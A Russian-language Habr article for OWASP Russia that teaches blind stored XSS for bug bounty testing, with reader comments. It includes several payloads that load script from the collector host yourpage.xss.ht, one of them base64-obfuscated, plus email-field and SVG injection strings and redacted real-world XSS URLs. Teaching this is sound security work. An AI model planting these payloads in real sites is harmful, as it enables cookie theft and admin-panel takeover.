Слепая простота

    image

    В этой статье я расскажу о blind XSS — это довольно простая, но зачастую очень эффективная атака на веб-приложения. Эксплуатация таких векторов атак приводит к захвату админ-панелей различных сервисов, в том числе софтверных гигантов.

    UPD: часть пейлоадов из статьи сработало на агрегаторах/парсерах Хабра, такие дела :)


    Как это работает?


    В первую очередь, стоит отметить, что XSS — это не уязвимость, а тип атаки на веб-системы. Он заключается во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и его взаимодействии с веб-сервером злоумышленника. Существует несколько видов XSS: хранимые, отраженные и DOM. В этой статье мы рассмотрим только хранимые XSS — именно они подходят для «пробития» целей.

    Схема атаки выглядит следующим образом: атакующий размещает вредоносный пейлоад на веб-приложении, уязвимый код попадает в БД и «выстреливает» в админке проекта.

    image

    Зачастую до срабатывания пейлода атакующий не подозревает, где и когда он «выстрелит». По своему опыту могу сказать, что срабатывания пейлоада происходили от нескольких секунд до нескольких месяцев — ускорить этот процесс крайне проблематично.

    image

    Где сработает пейлоад — тоже немаловажный фактор. Нащупывание конечных точек срабатывания blind XSS сродни стрельбе пулями со смещенным центром тяжести. Порой админ-панели находятся на заковыристых поддоменах вида manage007.attacked.site либо вне тестируемого сайта, на IP-адресе типа XXX.XXX.XXX.XXX/admin_panel/dashboard.php. Либо это может быть, например, система аналитики, находящаяся вообще вне пределов тестируемой компании.

    Endpoints


    Чтобы получить «отстук» от нашего пейлоада, нам необходимо иметь внешний эндпоинт для перехвата. Для этого можно поднять свой сервис и перехватывать все обращения к нему, в т.ч. заголовки, используя приемлемый для вас язык программирования.

    image

    Либо можно воспользоваться следующими вариантами (на ваш выбор).

    BurpCollaborator — специализированный внешний сервис для пользователей Burp Suite Pro:



    Использовать сервисы, %name%bin, например requestbin:



    Поднять свой собственный сервис, например, с помощью ezXSS:

    image

    Либо использовать xsshunter (рекомендуется для новичков) — сервис для формирования пейлоадов и получения «отстука» от сработавшего пейлоада (в том числе и на email):



    Пейлоады


    Итак, мы нашли input-форму на сайте и хотим проверить нашу теорию о том, что в ней сработает блайнд. Для этого нам необходимо подготовить пейлоады, в том числе и для обхода защитных средств.

    Сервис xsshunter предлает несолько готовых пейлоадов для эксплуатации blind XSS:

    Uri payload:

    javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)')
    

    IMG payload:

    "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
    

    Часть пейлоада преобразована в base64 (dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw), что на выходе дает:

    var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a);
    

    Payload в поле e-mail:

    "'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com
    
    test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com
    
    ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com
    



    Интересные трюки


    Теперь рассмотрим наиболее интересные input-формы для внедрения пейлоадов.
    E-mail — выше представлены валидные примеры внедрения, сработает или нет — зависит от типа веб-приложения.

    В поле пароль — тут мы сможем узнать, хранит ли веб-приложение пароль plain-текстом и видел ли его админ.

    Онлайн-помощники — иногда выстреливает и здесь.

    В заголовках — подставляем пейлоад во все заголовки, которые мы можем контролировать: referer, user agent и прочее.

    Svg-векторы — загрузка изображений/аватаров в виде *.svg может дать нам возможность внедрения нашего пейлоада (пример). SVG содержит пейлоад:

    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"
    

    Поле загрузки файла / название файла — можем попытаться загрузить с названием:

    "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg
    



    Unsubscribe — поля отписок, «нам важно ваше мнение» и прочее. Тоже очень перспективная форма для внедрения пейлоада.

    Опросы — поле «другое/свой вариант ответа».

    Улов


    Эксплуатируя данную атаку, вы можете получить доступ к панели управления (при ненадлежащих настройках безопасности), скриншот, DOM-структуру, IP-адрес админа, куки и т.д.

    image

    Эта атака позволяет получить доступ к системам поддержки, админ-панелям и многому другому. За время участия в программах Bug Bounty накопилось довольно много интересных скриншотов, которые были получены в ходе таких атак:



    Онлайн-казино:



    Авто.ру (johndoe1492):



    Microsoft (johndoe1492):



    Cистема, используемая в 150 000 компаний по всему миру:



    Таких скриншотов довольно много — это говорит о том, что разработчикам стоит уделять особое внимание не только витрине веб-приложения, но и его административной части.

    UPD: часть пейлоадов из статьи сработало на агрегаторах/парсерах Хабра, такие дела :)





    Статья подготовлена в рамках участия в проекте OWASP.
    OWASP Russia chapter: OWASP Russia
    OWASP Russia chat: https://t.me/OWASP_Russia
    OWASP Russia channel: https://t.me/OWASP_RU
    • +45
    • 7.3k
    • 7
    Инфосистемы Джет
    667.88
    Системный интегратор
    Support the author
    Share post

    Comments 7

      0
      В этой статье мы рассмотрим только хранимые XSS — именно они подходят для «пробития» целей.

      Сугубо субъективно!
      Исходя из моей практики, Отражённые (Непостоянные) атаки совмести с СИ (Социальной инженерией) более эффективны!
        +3
        Любая атака, принесшая результат эффективна. Эта статья именно о blind XSS. Что касается отраженных XSS — тут тоже много интересных векторов, например отрисовка формы фишинга.
        0
        Uri payload

        А оно нынче где-то еще работает? Системы которые все еще работают исключительно через IE в расчёт не берём. Современные браузеры уже довольно давно забанили возможность исполнять скрипты из строки браузера/javascript протоколу.

          +3
          2019 год:

          посещаемость сайта > 3.000.000 ежемесячно
          /login?redirect=%250ajavascript:alert(1);  

          крупный ритейл:
          /no-*****-******?q=%27%22%20autofocus=true%20onfocus=%22alert(document.domain) > 

          крупный онлайн магазин:
          *********_center/********/******.php?SECTION_ID=******}});};top[%22eval%22](top[%22atob%22](%27************%27));function%20load*******()%20{$.ajax({%20type:%20%27get%27,%20url:%20%27/*******_center/*****/****.php%27,test:{// 
            –2
            С линками было бы убедительнее.
              +1
              LukaSafonov можно доверять
                0
                Да я как бы под сомнение-то не ставил, только это же достаточно важная и интересная информация, согласитесь.

        Only users with full accounts can post comments. Log in, please.